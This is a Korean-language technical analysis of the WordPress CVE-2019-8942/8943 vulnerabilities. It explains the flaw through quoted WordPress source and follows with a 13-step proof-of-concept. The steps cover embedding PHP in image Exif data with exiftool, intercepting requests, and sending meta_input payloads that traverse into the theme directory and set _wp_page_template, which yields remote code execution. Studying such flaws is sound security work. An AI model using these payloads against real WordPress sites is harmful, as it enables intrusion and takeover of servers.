
WordPress RCE 취약점 CVE-2019-8942 및 CVE-2019-8943에 대한 상세 기술 분석 및 개념 증명 익스플로잇으로, 경로 탐색 및 이미지 업로드 조작을 통한 LFI-to-RCE를 시연합니다.
CVE-2019-8942는 LFI 오류와 File Upload 기능을 결합하여 author 권한으로 WordPress 웹 서버에 RCE를 수행하는 취약점입니다. 영향받는 WordPress 버전은 4.9.9 이전 및 5.x에서 5.0.1 이전까지이며, Post Meta의 wp_attached_file 값이 .jpg?file.php와 같은 임의의 문자열로 변경될 수 있어 원격 코드 실행이 가능합니다. author 권한을 가진 공격자는 Exif 메타데이터에 악성 PHP 코드가 포함된 이미지 파일을 업로드하여 임의의 코드를 실행할 수 있습니다. 익스플로잇은 CVE-2019-8943을 활용할 수 있습니다.
CVE-2019-8943의 경우, WordPress 5.0.3까지의 버전이 wp_crop_image() 메서드에서 Path traversal 취약점에 영향을 받습니다. 이미지 자르기 기능을 사용할 수 있는 권한(author)을 가진 공격자는 .jpg?/../../file.jpg와 같이 2개의 확장자를 포함한 파일 이름을 기반으로 이미지 파일을 임의의 디렉터리에 쓸 수 있습니다.
author 권한을 가진 사용자 계정.사용자가 RCE를 수행할 수 있게 되는 주요 원인은 Post meta가 덮어쓰여질 수 있는 오류에 있습니다.
Meta data는 데이터에 대한 설명 데이터로 이해할 수 있으며, 이 경우 meta data는 제목, 게시 날짜, 작성자 이름 등과 같은 블로그에 대한 정보입니다.
WordPress 4.9.8 버전의 소스 코드에서 이미지가 업데이트되면 edit_post() 함수가 호출됩니다. 여기서 주목할 점은 이 함수가 $_POST 배열을 직접 조작한다는 것입니다. wp_update_post는 편집이 허용된 데이터 필드를 검사하지 않고 $post_data를 직접 매개변수로 사용합니다.
function edit_post( $post_data = null ) {
global $wpdb;
if ( empty($post_data) )
$post_data = &$_POST;
...
if ( isset($post_data['meta']) && $post_data['meta'] ) {
foreach ( $post_data['meta'] as $key => $value ) {
if ( !$meta = get_post_meta_by_id( $key ) )
continue;
if ( $meta->post_id != $post_ID )
continue;
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
continue;
if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
continue;
update_meta( $key, $value['key'], $value['value'] );
}
}
...
update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
$success = wp_update_post( $post_data );
if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
$fields = array( 'post_title', 'post_content', 'post_excerpt' );
foreach ( $fields as $field ) {
if ( isset( $post_data[ $field ] ) ) {
$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
}
}
wp_update_post( $post_data );
}
wp-admin/includes/post.php
게시물을 작성할 수 있는 권한이 있는 사용자는 Post Meta 값을 덮어쓸 수 있습니다. 더 구체적으로, 공격자는 meta data _wp_attached_file의 값을 수정할 수 있습니다. 이는 파일 이름을 변경하지 않으며, WordPress가 편집을 수행할 때 조작하는 파일만 변경합니다. 이로 인해 Path Traversal 익스플로잇이 발생합니다.

익스플로잇 수행 전의
wp_postmeta
업로드된 파일이 YYYY/MM/name.jpg 형식임을 알 수 있으며, WordPress는 파일을 YYYY/MM/ 디렉터리에 저장하므로 Path Traversal 익스플로잇을 연상시킬 수 있습니다.
wp_crop_image() 함수에서 author 사용자가 이미지 자르기를 수행하면 WordPress는 두 가지 방법으로 이미지가 존재하는지 확인합니다. 첫 번째 방법은 wp-content/uploads 디렉터리에서 _wp_attached_file을 기반으로 이미지를 검색하는 것입니다.
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
$src_file = $src;
if ( is_numeric( $src ) ) { // Handle int as attachment ID
$src_file = get_attached_file( $src );
if ( ! file_exists( $src_file ) ) {
// If the file doesn't exist, attempt a URL fopen on the src link.
// This can occur with certain file replication plugins.
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
}
$editor = wp_get_image_editor( $src );
...
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
wp-admin/includes/image.php
위 방법이 실패하면 WordPress는 wp-content/uploads 디렉터리 경로와 _wp_attached_file에 포함된 파일 이름이 포함된 URL을 생성하여 자체 서버에서 이미지를 다운로드합니다. 일부 플러그인이 해당 URL이 전송될 때 이미지를 생성하는 경우가 있기 때문에 로컬에서 직접 가져오는 대신 이미지 다운로드를 시도하는 것입니다.
WordPress가 wp_get_image_editor() 메서드를 통해 이미지를 성공적으로 다운로드하면 이미지 자르기가 수행됩니다. 잘린 이미지는 파일 시스템에 저장됩니다. 파일 이름은 공격자가 제어하는 get_post_meta()에서 반환된 $src 변수의 값이 됩니다. WordPress는 wp_mkdir_p() 메서드(9행)로 디렉터리를 생성하고 save()로 여기에 이미지를 저장합니다. save() 메서드는 Path Traversal 익스플로잇을 전혀 검사하지 않음을 알 수 있습니다.
...
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) )
return $src;
if ( ! $dst_file )
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
wp_mkdir_p( dirname( $dst_file ) );
$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
$result = $editor->save( $dst_file );
_wp_attached_file에 전달된 #/../../ 문자가 포함된 payload는 이미지 로드 방법 1을 사용할 경우 해당 경로가 존재하지 않으므로, WordPress는 이미지를 로드하기 위해 방법 2(URL을 생성하여 이미지 다운로드)를 수행합니다. 이때 경로는 http://localhost/wp-admin/wp-content/uploads/YYYY/MM/name.jpg#/name.jpg 형식이 되며, URL 경로이므로 #(fragment를 나타냄) 이후의 문자는 무시됩니다. 찾은 파일 이름은 name.jpg#/name.jpg이며, 여기서 name.jpg#은 디렉터리이며 유효한 이름입니다. 그런 다음 /name.jpg#/../../name.jpg와 같은 payload를 사용하여 Path Traversal을 익스플로잇합니다.

_wp_attach_file또는_wp_page_template과 같은 값 필드가 수정된 것을 확인할 수 있습니다.
Path Traversal to RCE
각 WordPress 페이지는 테마 유형을 사용하며 동시에 템플릿 파일이 포함된 /wp-content/themes/theme_name/ 폴더가 있습니다. 경우에 따라 게시물에 테마를 선택하는 것이 가능합니다. 사용자는 Post Meta 테이블에서 _wp_page_template을 원하는 파일 이름으로 설정하기만 하면 됩니다. 단, 테마 디렉터리 내의 파일에만 유효하다는 제한이 있습니다. 일반적으로 이 디렉터리는 접근 및 파일 업로드가 불가능합니다. 그러나 Path Traversal 익스플로잇을 활용하여 이 디렉터리에 파일을 쓸 수 있습니다. author 공격자는 게시물을 생성하고 _wp_page_template 매개변수의 값에 이미지 파일을 덮어씁니다. 이미지 파일에는 악성 PHP 코드가 삽입되며, 이미지가 로드되면 PHP 코드가 실행되어 RCE가 발생합니다.
Step 1: wpscan을 사용하여 웹사이트가 사용하는 테마를 확인 => twentyseventeen

Step 2: Exiftool 도구를 사용하여 이미지에 악성 PHP 코드 삽입
exiftool demo.jpg -documentname="<?php phpinfo();?>"

Step 3: author 계정으로 사이트 admin에 로그인하고 Media -> Add new -> Upload 이미지 기능으로 이동.

Step 4: 이미지에 접근. Edit more details 클릭

Step 5: Update 클릭 후 Burpsuite로 intercept request -> Send to repeater


Step 6: Edit image 클릭하여 이미지 자르기(crop)를 수행하고 Save 클릭. 이미지 저장 요청을 Intercept하고 Send to repeater.


Step 7: Step 5의 request를 사용하여 &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/file 매개변수를 request에 추가합니다. 이 request는 file.jpg# 폴더를 생성하고 file 이미지를 이 폴더에 복사할 준비를 합니다.
Step 8: Step 6의 request를 전송하여 이미지를 저장합니다. file.jpg# 디렉터리가 생성되고 이미지가 YYYY/MM/file.jpg# 디렉터리에 저장된 것을 확인합니다.
Step 9: Step 7과 동일하게 Step 5의 request를 사용하여 &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/../../../../themes/twentyseventeen/file 매개변수를 request에 추가합니다. WordPress의 디렉터리 구조와 테마 이름을 알고 있으므로 위와 같은 payload를 생성할 수 있습니다.

Step 10: Step 6의 request를 전송하여 이미지를 저장합니다. 이미지가 새 경로에 저장된 것을 확인합니다.

Step 11: Posts -> Add new 기능으로 이동. Publish 클릭. Request를 Intercept하고 Send to repeater.

Step 12: Step 11의 request를 사용하여 &meta_input[_wp_page_template]=cropped image 매개변수를 추가합니다. 여기서 cropped image는 Step 10의 이미지 파일 이름입니다.

Step 13: 위 게시물에 접근하면 이미지의 악성 코드가 실행된 것을 확인합니다.

사용된 3개 request의 payload:
&meta_input[_wp_attached_file]=year/month/file#/file
&meta_input[_wp_attached_file]=year/month/file#/../../../../themes/twentyseventeen/file
&meta_input[_wp_page_template]=<cropped image>